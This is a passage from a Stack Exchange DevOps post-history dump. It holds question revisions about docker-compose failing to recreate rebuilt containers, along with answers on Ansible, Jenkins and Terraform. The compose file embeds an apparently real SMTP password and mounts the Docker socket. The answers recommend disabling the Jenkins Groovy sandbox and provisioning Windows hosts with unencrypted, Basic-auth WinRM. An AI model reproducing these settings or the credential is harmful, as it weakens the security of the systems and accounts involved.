links:&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      ports:&#xD;&#xA;       - 127.0.0.1:3001:3001&#xD;&#xA;      working_dir: /tmp&#xD;&#xA;      command: /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.conf&#xD;&#xA;&#xD;&#xA;    nodejs-enduser:&#xD;&#xA;      image: ${GKE_APP_REPO_PREFIX}/${PROJECT_ID}/loudweb-enduser&#xD;&#xA;      container_name: loud_enduser&#xD;&#xA;      restart: always&#xD;&#xA;      depends_on:&#xD;&#xA;        - nodejs-admin&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      volumes:&#xD;&#xA;        - /cryptdata6/var/log/loudlog-enduser:/loudlog-enduser&#xD;&#xA;        - /cryptdata5/var/log/blobs:/blobs&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/enduser/bundle:/tmp&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/admin/bundle/programs/server/assets/app/config/apn-cert.pem:/private/config/apn-cert.pem&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/admin/bundle/programs/server/assets/app/config/apn-key.pem:/private/config/apn-key.pem&#xD;&#xA;      environment:&#xD;&#xA;        - MONGO_SERVICE_HOST=loudmongo&#xD;&#xA;        - MONGO_SERVICE_PORT=$GKE_MONGO_PORT &#xD;&#xA;        - MONGO_URL=mongodb://loudmongo:$GKE_MONGO_PORT/test&#xD;&#xA;        - METEOR_SETTINGS=${METEOR_SETTINGS}&#xD;&#xA;        - MAIL_URL=smtp://support@${GKE_DOMAIN_NAME}:puMDcxNmEwMDU5MmJjZjNiNzQ3M2ZlNTJjNDYyOGI1NTggIC0Ksy@loudmail:587/&#xD;&#xA;      links:&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      ports:&#xD;&#xA;       - 127.0.0.1:3000:3000&#xD;&#xA;      working_dir: /tmp&#xD;&#xA;      command: /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.conf&#xD;&#xA;&#xD;&#xA;    loudmongo:&#xD;&#xA;      image: mongo&#xD;&#xA;      container_name: loud_mongo&#xD;&#xA;      restart: always&#xD;&#xA;      ports:&#xD;&#xA;       - 127.0.0.1:$GKE_MONGO_PORT:$GKE_MONGO_PORT&#xD;&#xA;      volumes:&#xD;&#xA;       - /cryptdata7/var/data/db:/data/db&#xD;&#xA;&#xD;&#xA;    loudmail:&#xD;&#xA;      image: ${GKE_APP_REPO_PREFIX}/${PROJECT_ID}/loudmail&#xD;&#xA;      hostname: mail&#xD;&#xA;      domainname: ${GKE_DOMAIN_NAME}&#xD;&#xA;      container_name: loud_mail&#xD;&#xA;      restart: always&#xD;&#xA;      environment:&#xD;&#xA;        - DMS_DEBUG=1&#xD;&#xA;        - ENABLE_MANAGESIEVE=1&#xD;&#xA;        - ENABLE_FAIL2BAN=1&#xD;&#xA;        - SA_TAG=2.0&#xD;&#xA;        - SA_TAG2=6.31&#xD;&#xA;        - SA_KILL=6.31&#xD;&#xA;        - SSL_TYPE=letsencrypt&#xD;&#xA;      ports:&#xD;&#xA;        - 127.0.0.1:25:25&#xD;&#xA;        - 127.0.0.1:110:110&#xD;&#xA;        - 127.0.0.1:143:143&#xD;&#xA;        - 127.0.0.1:587:587&#xD;&#xA;        - 127.0.0.1:993:993&#xD;&#xA;        - 127.0.0.1:995:995&#xD;&#xA;        - 127.0.0.1:4190:4190&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    loud-devops:&#xD;&#xA;      image: dind&#xD;&#xA;      container_name: loud_devops&#xD;&#xA;      restart: always&#xD;&#xA;      ports:&#xD;&#xA;        - 127.0.0.1:9000:9000&#xD;&#xA;      volumes:&#xD;&#xA;        - /var/run/docker.sock:/var/run/docker.sock   &#xD;&#xA;        - /usr/bin/docker:/usr/bin/docker   &#xD;&#xA;        - /usr/lib/x86_64-linux-gnu/libltdl.so.7:/usr/lib/x86_64-linux-gnu/libltdl.so.7  &#xD;&#xA;        - /usr/lib/x86_64-linux-gnu/libgpm.so.2:/usr/lib/x86_64-linux-gnu/libgpm.so.2&#xD;&#xA;        - /home/asya/src/github.com/loudthink:/inner_home/asya/src/github.com/loudthink &#xD;&#xA;        - /home/asya/.docker:/inner_home/asya/.docker&#xD;&#xA;        - /cryptdata5/var/tools/inner_home/asya:/inner_home/asya&#xD;&#xA;        - $GKE_DIND_SUPERVISOR_LOG_DIR:/var/log/supervisor&#xD;&#xA;        - /cryptdata5/var/tools/usr/local/go:/usr/local/go&#xD;&#xA;        - /cryptdata6/var/log/tmp/asya01:/cryptdata6/var/log/tmp/asya01&#xD;&#xA;        - /cryptdata6/var/log/tmp/shared:/cryptdata6/var/log/tmp/shared&#xD;&#xA;        - /cryptdata5/var/tools/usr/local/bin:/usr/local/bin &#xD;&#xA;        - /cryptdata:/cryptdata&#xD;&#xA;        - /cryptdata4:/cryptdata4&#xD;&#xA;        - /cryptdata5:/cryptdata5&#xD;&#xA;        - /cryptdata6:/cryptdata6&#xD;&#xA;        - /cryptdata7:/cryptdata7&#xD;&#xA;        - /etc/letsencrypt/live:/etc/letsencrypt/live&#xD;&#xA;        - /etc/letsencrypt/archive/medssenger-dev.medstack.net:/etc/letsencrypt/archive/medssenger-dev.medstack.net&#xD;&#xA;        - /usr/local/ssl:/usr/local/ssl&#xD;&#xA;        - /var/lib/docker:/var/lib/docker&#xD;&#xA;      command: /usr/bin/supervisord -c /etc/supervisor/supervisord.conf&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The bottom most container in above ( loud-devops ) contains a webhook daemon which listens for a git push to trigger a rebuild cycle. While inside that container the system issues all my docker command including docker build create fresh images for two containers ( nodejs-admin and nodejs-enduser ) then while inside the container I issue the &#xD;&#xA;&#xD;&#xA;    docker-compose -f /docker-compose.yaml up -d &#xD;&#xA;&#xD;&#xA;which then sometimes incorrectly displays&#xD;&#xA;&#xD;&#xA;	loud_devops is up-to-date&#xD;&#xA;	loud_mongo is up-to-date&#xD;&#xA;	loud_mail is up-to-date&#xD;&#xA;	loud_admin is up-to-date&#xD;&#xA;	loud_enduser is up-to-date&#xD;&#xA;&#xD;&#xA;whereas other times works OK and correctly displays&#xD;&#xA;&#xD;&#xA;	loud_mongo is up-to-date&#xD;&#xA;	loud_mail is up-to-date&#xD;&#xA;	loud_devops is up-to-date&#xD;&#xA;	Recreating loud_admin ... done&#xD;&#xA;	Recreating loud_enduser ... done&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On the host of each server I have docker installed then as you can see in above yaml for container loud-devops  I mount as volumes various docker dirs to enable the execution of docker in docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="11943" PostHistoryTypeId="2" PostId="3809" RevisionGUID="9321c4f9-f5fd-4d7b-81e9-c9ec149dedee" CreationDate="2018-04-04T17:32:08.120" UserId="4427" Text="As people in the comments are saying, you can do this with aws-cli in bash or in the python boto3 library. &#xD;&#xA;&#xD;&#xA;What about ansible? It has the ability to see your ec2 instances and it could handle the automation for maintenance tasks. If you are not using ansible I highly recommend you add that tool to your DevOps toolbox. &#xD;&#xA;&#xD;&#xA;Here is how you might structure your [playbook][1] to do what you are wanting.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/questions/27315469/ansible-how-to-sequentially-execute-playbook-for-each-host" ContentLicense="CC BY-SA 3.0" />
  <row Id="11944" PostHistoryTypeId="5" PostId="3773" RevisionGUID="9ef9715d-b55c-4b26-9ddf-fd97004c7516" CreationDate="2018-04-04T17:49:58.870" UserId="192" Comment="added 220 characters in body" Text="My process successfully rebuilds a pair of two underlying docker images however docker-compose up sometimes fails to pickup that change and incorrectly says up-to-date on freshly rebuilt images when it should be saying Recreating&#xD;&#xA;&#xD;&#xA;I am executing identical code across several servers each with varying OS ( ubuntu 16.04 or debian 8 or debian 9) and varying docker versions ( either  18.04.0-ce-rc1  or  18.03.0-ce ) ... am currently working to track down root cause however see good and bad behavior across each of above OS and docker versions&#xD;&#xA;&#xD;&#xA;This issue does not seem related to https://github.com/docker/compose/issues/3574&#xD;&#xA;&#xD;&#xA;Yes I am tagging the images and doing a push to local docker repository&#xD;&#xA;&#xD;&#xA;    docker build --tag localhost:5000/hygge/loudweb-admin .&#xD;&#xA;&#xD;&#xA;docker push to my local docker repository is &#xD;&#xA;&#xD;&#xA;    docker push localhost:5000/hygge/loudweb-admin&#xD;&#xA;&#xD;&#xA;it also does similar to above image nodejs-enduser&#xD;&#xA;&#xD;&#xA;here my my docker-compose.yaml&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;&#xD;&#xA;    nodejs-admin:&#xD;&#xA;      image: ${GKE_APP_REPO_PREFIX}/${PROJECT_ID}/loudweb-admin&#xD;&#xA;      container_name: loud_admin&#xD;&#xA;      restart: always&#xD;&#xA;      depends_on:&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      volumes:&#xD;&#xA;        - /cryptdata4/var/log/loudlog-admin:/loudlog-admin&#xD;&#xA;        - /cryptdata5/var/log/blobs:/blobs&#xD;&#xA;        - /cryptdata5/var:/cryptdata5/var&#xD;&#xA;        - /cryptdata5/var/tools:/tools&#xD;&#xA;        - /cryptdata6/var/log/loudlog-enduser:/loudlog-enduser&#xD;&#xA;        - $SOURCE_REPO_DIR/tests:/tmp/tests&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/admin/bundle:/tmp&#xD;&#xA;      environment:&#xD;&#xA;        - MONGO_SERVICE_HOST=loudmongo&#xD;&#xA;        - MONGO_SERVICE_PORT=$GKE_MONGO_PORT &#xD;&#xA;        - MONGO_URL=mongodb://loudmongo:$GKE_MONGO_PORT/test&#xD;&#xA;        - METEOR_SETTINGS=${METEOR_SETTINGS}&#xD;&#xA;        - MAIL_URL=smtp://support@${GKE_DOMAIN_NAME}:blah@loudmail:587/&#xD;&#xA;        - GKE_NOTIF_TASK_OVERDUE=$GKE_NOTIF_TASK_OVERDUE&#xD;&#xA;        - GKE_NOTIF_TASK_PUSH=$GKE_NOTIF_TASK_PUSH&#xD;&#xA;        - GKE_NOTIF_PLANS_RECUR=$GKE_NOTIF_PLANS_RECUR&#xD;&#xA;      links:&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      ports:&#xD;&#xA;       - 127.0.0.1:3001:3001&#xD;&#xA;      working_dir: /tmp&#xD;&#xA;      command: /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.conf&#xD;&#xA;&#xD;&#xA;    nodejs-enduser:&#xD;&#xA;      image: ${GKE_APP_REPO_PREFIX}/${PROJECT_ID}/loudweb-enduser&#xD;&#xA;      container_name: loud_enduser&#xD;&#xA;      restart: always&#xD;&#xA;      depends_on:&#xD;&#xA;        - nodejs-admin&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      volumes:&#xD;&#xA;        - /cryptdata6/var/log/loudlog-enduser:/loudlog-enduser&#xD;&#xA;        - /cryptdata5/var/log/blobs:/blobs&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/enduser/bundle:/tmp&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/admin/bundle/programs/server/assets/app/config/apn-cert.pem:/private/config/apn-cert.pem&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/admin/bundle/programs/server/assets/app/config/apn-key.pem:/private/config/apn-key.pem&#xD;&#xA;      environment:&#xD;&#xA;        - MONGO_SERVICE_HOST=loudmongo&#xD;&#xA;        - MONGO_SERVICE_PORT=$GKE_MONGO_PORT &#xD;&#xA;        - MONGO_URL=mongodb://loudmongo:$GKE_MONGO_PORT/test&#xD;&#xA;        - METEOR_SETTINGS=${METEOR_SETTINGS}&#xD;&#xA;        - MAIL_URL=smtp://support@${GKE_DOMAIN_NAME}:puMDcxNmEwMDU5MmJjZjNiNzQ3M2ZlNTJjNDYyOGI1NTggIC0Ksy@loudmail:587/&#xD;&#xA;      links:&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      ports:&#xD;&#xA;       - 127.0.0.1:3000:3000&#xD;&#xA;      working_dir: /tmp&#xD;&#xA;      command: /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.conf&#xD;&#xA;&#xD;&#xA;    loudmongo:&#xD;&#xA;      image: mongo&#xD;&#xA;      container_name: loud_mongo&#xD;&#xA;      restart: always&#xD;&#xA;      ports:&#xD;&#xA;       - 127.0.0.1:$GKE_MONGO_PORT:$GKE_MONGO_PORT&#xD;&#xA;      volumes:&#xD;&#xA;       - /cryptdata7/var/data/db:/data/db&#xD;&#xA;&#xD;&#xA;    loudmail:&#xD;&#xA;      image: ${GKE_APP_REPO_PREFIX}/${PROJECT_ID}/loudmail&#xD;&#xA;      hostname: mail&#xD;&#xA;      domainname: ${GKE_DOMAIN_NAME}&#xD;&#xA;      container_name: loud_mail&#xD;&#xA;      restart: always&#xD;&#xA;      environment:&#xD;&#xA;        - DMS_DEBUG=1&#xD;&#xA;        - ENABLE_MANAGESIEVE=1&#xD;&#xA;        - ENABLE_FAIL2BAN=1&#xD;&#xA;        - SA_TAG=2.0&#xD;&#xA;        - SA_TAG2=6.31&#xD;&#xA;        - SA_KILL=6.31&#xD;&#xA;        - SSL_TYPE=letsencrypt&#xD;&#xA;      ports:&#xD;&#xA;        - 127.0.0.1:25:25&#xD;&#xA;        - 127.0.0.1:110:110&#xD;&#xA;        - 127.0.0.1:143:143&#xD;&#xA;        - 127.0.0.1:587:587&#xD;&#xA;        - 127.0.0.1:993:993&#xD;&#xA;        - 127.0.0.1:995:995&#xD;&#xA;        - 127.0.0.1:4190:4190&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    loud-devops:&#xD;&#xA;      image: dind&#xD;&#xA;      container_name: loud_devops&#xD;&#xA;      restart: always&#xD;&#xA;      ports:&#xD;&#xA;        - 127.0.0.1:9000:9000&#xD;&#xA;      volumes:&#xD;&#xA;        - /var/run/docker.sock:/var/run/docker.sock   &#xD;&#xA;        - /usr/bin/docker:/usr/bin/docker   &#xD;&#xA;        - /usr/lib/x86_64-linux-gnu/libltdl.so.7:/usr/lib/x86_64-linux-gnu/libltdl.so.7  &#xD;&#xA;        - /usr/lib/x86_64-linux-gnu/libgpm.so.2:/usr/lib/x86_64-linux-gnu/libgpm.so.2&#xD;&#xA;        - /home/asya/src/github.com/loudthink:/inner_home/asya/src/github.com/loudthink &#xD;&#xA;        - /home/asya/.docker:/inner_home/asya/.docker&#xD;&#xA;        - /cryptdata5/var/tools/inner_home/asya:/inner_home/asya&#xD;&#xA;        - $GKE_DIND_SUPERVISOR_LOG_DIR:/var/log/supervisor&#xD;&#xA;        - /cryptdata5/var/tools/usr/local/go:/usr/local/go&#xD;&#xA;        - /cryptdata6/var/log/tmp/asya01:/cryptdata6/var/log/tmp/asya01&#xD;&#xA;        - /cryptdata6/var/log/tmp/shared:/cryptdata6/var/log/tmp/shared&#xD;&#xA;        - /cryptdata5/var/tools/usr/local/bin:/usr/local/bin &#xD;&#xA;        - /cryptdata:/cryptdata&#xD;&#xA;        - /cryptdata4:/cryptdata4&#xD;&#xA;        - /cryptdata5:/cryptdata5&#xD;&#xA;        - /cryptdata6:/cryptdata6&#xD;&#xA;        - /cryptdata7:/cryptdata7&#xD;&#xA;        - /etc/letsencrypt/live:/etc/letsencrypt/live&#xD;&#xA;        - /etc/letsencrypt/archive/medssenger-dev.medstack.net:/etc/letsencrypt/archive/medssenger-dev.medstack.net&#xD;&#xA;        - /usr/local/ssl:/usr/local/ssl&#xD;&#xA;        - /var/lib/docker:/var/lib/docker&#xD;&#xA;      command: /usr/bin/supervisord -c /etc/supervisor/supervisord.conf&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The bottom most container in above ( loud-devops ) contains a webhook daemon which listens for a git push to trigger a rebuild cycle. While inside that container the system issues all my docker command including docker build create fresh images for two containers ( nodejs-admin and nodejs-enduser ) then while inside the container I issue the &#xD;&#xA;&#xD;&#xA;    docker-compose -f /docker-compose.yaml up -d &#xD;&#xA;&#xD;&#xA;which then sometimes incorrectly displays&#xD;&#xA;&#xD;&#xA;	loud_devops is up-to-date&#xD;&#xA;	loud_mongo is up-to-date&#xD;&#xA;	loud_mail is up-to-date&#xD;&#xA;	loud_admin is up-to-date&#xD;&#xA;	loud_enduser is up-to-date&#xD;&#xA;&#xD;&#xA;whereas other times works OK and correctly displays&#xD;&#xA;&#xD;&#xA;	loud_mongo is up-to-date&#xD;&#xA;	loud_mail is up-to-date&#xD;&#xA;	loud_devops is up-to-date&#xD;&#xA;	Recreating loud_admin ... done&#xD;&#xA;	Recreating loud_enduser ... done&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;On the host of each server I have docker installed then as you can see in above yaml for container loud-devops  I mount as volumes various docker dirs to enable the execution of docker in docker" ContentLicense="CC BY-SA 3.0" />
  <row Id="11945" PostHistoryTypeId="2" PostId="3810" RevisionGUID="1e20e451-348c-4b4a-8b8e-dff35b028870" CreationDate="2018-04-04T18:16:34.703" UserId="4115" Text="Unfortunately I had to [disable the Groovy sandbox](https://wiki.jenkins.io/display/JENKINS/Permissive+Script+Security+Plugin) because I ran into so many situations where methods I wanted to use in my jobs did not appear available for whitelist on the script security page.  Instead of adding a bunch of individual method calls to a whitelist or disabling the sandbox, you can also use a [global shared library](https://jenkins.io/doc/book/pipeline/shared-libraries/), since global shared libraries are automatically whitelisted in the sandbox.  (The shared library approach worked well for me at first, but eventually I ran into situations where I did not feel that the code I was writing was appropriate for a shared library, so I just disabled the sandbox as it had never provided any benefit to me anyway.  Just as a warning, disabling the sandbox is usually fine in single-tenancy situations, but not in multi-tenancy Jenkins instances.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;As for your code, unfortunately [`SCMTriggerCause`](http://javadoc.jenkins-ci.org/hudson/triggers/SCMTrigger.SCMTriggerCause.html) doesn't appear to have any properties pointing to the actual URL of the SCM source (I can't confirm this as I don't use SCM polling on my Jenkins instance).  Instead you could try something like this:&#xD;&#xA;&#xD;&#xA;    currentBuild.rawBuild.changeSets.collect { it.browser.repoUrl }&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="11946" PostHistoryTypeId="2" PostId="3811" RevisionGUID="3d7f6473-bfd5-4d9b-8e7f-c69e5e649f72" CreationDate="2018-04-04T18:20:20.817" UserId="4427" Text="The main issue I see is that you are calling Terraform at the end of every python loop. This is creating new &quot;state&quot; file. That will make it really hard to manage what you are creating. This is how I would do it. &#xD;&#xA;&#xD;&#xA;    users = []&#xD;&#xA;    count = 0&#xD;&#xA;    for customer in data['customers']:&#xD;&#xA;        username = customer['email'].split('@')[0]&#xD;&#xA;        instances = customer['instances']&#xD;&#xA;        count += instances&#xD;&#xA;        users.extend([username] * instances)&#xD;&#xA;        #print(Added {} to build list with {} instances.&quot;.format(username, instances))&#xD;&#xA;    myfunc(count, users)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;then I would change...&#xD;&#xA;&#xD;&#xA;    def myfunc(count, users):&#xD;&#xA;    &#xD;&#xA;      tf = Terraform(working_dir='/home/ja/terraform-course/demo-2b', variables={'count':count,'INSTANCE_USERS':users})&#xD;&#xA;      tf.plan(no_color=IsFlagged, refresh=False, capture_output=False)&#xD;&#xA;      approve = {&quot;auto-approve&quot;: True}&#xD;&#xA;      print(tf.plan())&#xD;&#xA;      print(tf.apply(**approve))&#xD;&#xA;      return&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;and finally the Terraform.&#xD;&#xA;&#xD;&#xA;    resource &quot;aws_key_pair&quot; &quot;mykey&quot; {&#xD;&#xA;      key_name = &quot;mykey&quot;&#xD;&#xA;      public_key = &quot;${file(&quot;${var.PATH_TO_PUBLIC_KEY}&quot;)}&quot;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    resource &quot;aws_instance&quot; &quot;win-example&quot; {&#xD;&#xA;      ami = &quot;${lookup(var.WIN_AMIS, var.AWS_REGION)}&quot;&#xD;&#xA;      instance_type = &quot;t2.medium&quot;&#xD;&#xA;      count=&quot;${var.count}&quot;&#xD;&#xA;    &#xD;&#xA;      key_name = &quot;${aws_key_pair.mykey.key_name}&quot;&#xD;&#xA;      user_data = &lt;&lt;EOF&#xD;&#xA;    &lt;powershell&gt;&#xD;&#xA;    net user ${var.INSTANCE_USERS[count.index]} '${var.INSTANCE_PASSWORD}' /add /y&#xD;&#xA;    net localgroup administrators ${var.INSTANCE_USERS[count.index]} /add&#xD;&#xA;    &#xD;&#xA;    winrm quickconfig -q&#xD;&#xA;    winrm set winrm/config/winrs '@{MaxMemoryPerShellMB=&quot;300&quot;}'&#xD;&#xA;    winrm set winrm/config '@{MaxTimeoutms=&quot;1800000&quot;}'&#xD;&#xA;    winrm set winrm/config/service '@{AllowUnencrypted=&quot;true&quot;}'&#xD;&#xA;    winrm set winrm/config/service/auth '@{Basic=&quot;true&quot;}'&#xD;&#xA;    &#xD;&#xA;    netsh advfirewall firewall add rule name=&quot;WinRM 5985&quot; protocol=TCP dir=in localport=5985 action=allow&#xD;&#xA;    netsh advfirewall firewall add rule name=&quot;WinRM 5986&quot; protocol=TCP dir=in localport=5986 action=allow&#xD;&#xA;    &#xD;&#xA;    net stop winrm&#xD;&#xA;    sc.exe config winrm start=auto&#xD;&#xA;    net start winrm&#xD;&#xA;    &lt;/powershell&gt;&#xD;&#xA;    EOF&#xD;&#xA;    &#xD;&#xA;      provisioner &quot;file&quot; {&#xD;&#xA;        source = &quot;test.txt&quot;&#xD;&#xA;        destination = &quot;C:/test.txt&quot;&#xD;&#xA;      }&#xD;&#xA;      connection {&#xD;&#xA;        type = &quot;winrm&quot;&#xD;&#xA;        timeout = &quot;10m&quot;&#xD;&#xA;        user = &quot;${var.INSTANCE_USERNAME[count.index]}&quot;&#xD;&#xA;        password = &quot;${var.INSTANCE_PASSWORD}&quot;&#xD;&#xA;      }&#xD;&#xA;    &#xD;&#xA;    tags {&#xD;&#xA;    Name=&quot;${var.INSTANCE_USERS[count.index]}&quot;&#xD;&#xA;    }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;What I did was change your code so we now create a list of the users, that match the length of the count. That way we can call Terraform just once, and use the `count.index` on our users list to make sure we create the correct amount of instances per user.&#xD;&#xA;&#xD;&#xA;You can read more about `count.index` [here][1]. I have always found reading and understanding more complicated code makes me better. Try reading some of the modules from the [Terraform Registry][2]. The [vpc][3] module gives good examples of using count.&#xD;&#xA;&#xD;&#xA;If you still need help drop me a comment. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.terraform.io/docs/configuration/interpolation.html&#xD;&#xA;  [2]: https://registry.terraform.io/&#xD;&#xA;  [3]: https://github.com/terraform-aws-modules/terraform-aws-vpc/blob/master/main.tf" ContentLicense="CC BY-SA 3.0" />
  <row Id="11947" PostHistoryTypeId="5" PostId="3773" RevisionGUID="c633ea38-8465-4fc1-b54d-0fb212591706" CreationDate="2018-04-04T20:37:12.163" UserId="192" Comment="deleted 117 characters in body" Text="My process successfully rebuilds a pair of two underlying docker images however docker-compose up sometimes fails to pickup that change and incorrectly says up-to-date on freshly rebuilt images when it should be saying Recreating&#xD;&#xA;&#xD;&#xA;I am executing identical code across several servers each with varying OS ( ubuntu 16.04 or debian 8 or debian 9) and varying docker versions ( either  18.04.0-ce-rc1  or  18.03.0-ce ) ... am currently working to track down root cause however see good and bad behavior across each of above OS and docker versions&#xD;&#xA;&#xD;&#xA;This issue does not seem related to https://github.com/docker/compose/issues/3574&#xD;&#xA;&#xD;&#xA;Yes I am tagging the images and doing a push to local docker repository&#xD;&#xA;&#xD;&#xA;    docker build --tag localhost:5000/hygge/loudweb-admin .&#xD;&#xA;&#xD;&#xA;docker push to my local docker repository is &#xD;&#xA;&#xD;&#xA;    docker push localhost:5000/hygge/loudweb-admin&#xD;&#xA;&#xD;&#xA;it also does similar to above image nodejs-enduser&#xD;&#xA;&#xD;&#xA;here my my docker-compose.yaml&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    version: '3'&#xD;&#xA;    services:&#xD;&#xA;&#xD;&#xA;    nodejs-admin:&#xD;&#xA;      image: ${GKE_APP_REPO_PREFIX}/${PROJECT_ID}/loudweb-admin&#xD;&#xA;      container_name: loud_admin&#xD;&#xA;      restart: always&#xD;&#xA;      depends_on:&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      volumes:&#xD;&#xA;        - /cryptdata4/var/log/loudlog-admin:/loudlog-admin&#xD;&#xA;        - /cryptdata5/var/log/blobs:/blobs&#xD;&#xA;        - /cryptdata5/var:/cryptdata5/var&#xD;&#xA;        - /cryptdata5/var/tools:/tools&#xD;&#xA;        - /cryptdata6/var/log/loudlog-enduser:/loudlog-enduser&#xD;&#xA;        - $SOURCE_REPO_DIR/tests:/tmp/tests&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/admin/bundle:/tmp&#xD;&#xA;      environment:&#xD;&#xA;        - MONGO_SERVICE_HOST=loudmongo&#xD;&#xA;        - MONGO_SERVICE_PORT=$GKE_MONGO_PORT &#xD;&#xA;        - MONGO_URL=mongodb://loudmongo:$GKE_MONGO_PORT/test&#xD;&#xA;        - METEOR_SETTINGS=${METEOR_SETTINGS}&#xD;&#xA;        - MAIL_URL=smtp://support@${GKE_DOMAIN_NAME}:blah@loudmail:587/&#xD;&#xA;        - GKE_NOTIF_TASK_OVERDUE=$GKE_NOTIF_TASK_OVERDUE&#xD;&#xA;        - GKE_NOTIF_TASK_PUSH=$GKE_NOTIF_TASK_PUSH&#xD;&#xA;        - GKE_NOTIF_PLANS_RECUR=$GKE_NOTIF_PLANS_RECUR&#xD;&#xA;      links:&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      ports:&#xD;&#xA;       - 127.0.0.1:3001:3001&#xD;&#xA;      working_dir: /tmp&#xD;&#xA;      command: /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.conf&#xD;&#xA;&#xD;&#xA;    nodejs-enduser:&#xD;&#xA;      image: ${GKE_APP_REPO_PREFIX}/${PROJECT_ID}/loudweb-enduser&#xD;&#xA;      container_name: loud_enduser&#xD;&#xA;      restart: always&#xD;&#xA;      depends_on:&#xD;&#xA;        - nodejs-admin&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      volumes:&#xD;&#xA;        - /cryptdata6/var/log/loudlog-enduser:/loudlog-enduser&#xD;&#xA;        - /cryptdata5/var/log/blobs:/blobs&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/enduser/bundle:/tmp&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/admin/bundle/programs/server/assets/app/config/apn-cert.pem:/private/config/apn-cert.pem&#xD;&#xA;        - ${TMPDIR_GRAND_PARENT}/curr/loud-build/${PROJECT_ID}/webapp/admin/bundle/programs/server/assets/app/config/apn-key.pem:/private/config/apn-key.pem&#xD;&#xA;      environment:&#xD;&#xA;        - MONGO_SERVICE_HOST=loudmongo&#xD;&#xA;        - MONGO_SERVICE_PORT=$GKE_MONGO_PORT &#xD;&#xA;        - MONGO_URL=mongodb://loudmongo:$GKE_MONGO_PORT/test&#xD;&#xA;        - METEOR_SETTINGS=${METEOR_SETTINGS}&#xD;&#xA;        - MAIL_URL=smtp://support@${GKE_DOMAIN_NAME}:puMDcxNmEwMDU5MmJjZjNiNzQ3M2ZlNTJjNDYyOGI1NTggIC0Ksy@loudmail:587/&#xD;&#xA;      links:&#xD;&#xA;        - loudmongo&#xD;&#xA;        - loudmail&#xD;&#xA;      ports:&#xD;&#xA;       - 127.0.0.1:3000:3000&#xD;&#xA;      working_dir: /tmp&#xD;&#xA;      command: /usr/bin/supervisord -c /etc/supervisor/conf.d/supervisord.conf&#xD;&#xA;&#xD;&#xA;    loudmongo:&#xD;&#xA;      image: mongo&#xD;&#xA;      container_name: loud_mongo&#xD;&#xA;      restart: always&#xD;&#xA;      ports:&#xD;&#xA;       - 127.0.0.1:$GKE_MONGO_PORT:$GKE_MONGO_PORT&#xD;&#xA;      volumes:&#xD;&#xA;       - /cryptdata7/var/data/db:/data/db&#xD;&#xA;&#xD;&#xA;    loudmail:&#xD;&#xA;      image: ${GKE_APP_REPO_PREFIX}/${PROJECT_ID}/loudmail&#xD;&#xA;      hostname: mail&#xD;&#xA;      domainname: ${GKE_DOMAIN_NAME}&#xD;&#xA;      container_name: loud_mail&#xD;&#xA;      restart: always&#xD;&#xA;      environment:&#xD;&#xA;        - DMS_DEBUG=1&#xD;&#xA;        - ENABLE_MANAGESIEVE=1&#xD;&#xA;        - ENABLE_FAIL2BAN=1&#xD;&#xA;        - SA_TAG=2.0&#xD;&#xA;        - SA_TAG2=6.31&#xD;&#xA;        - SA_KILL=6.31&#xD;&#xA;        - SSL_TYPE=letsencrypt&#xD;&#xA;      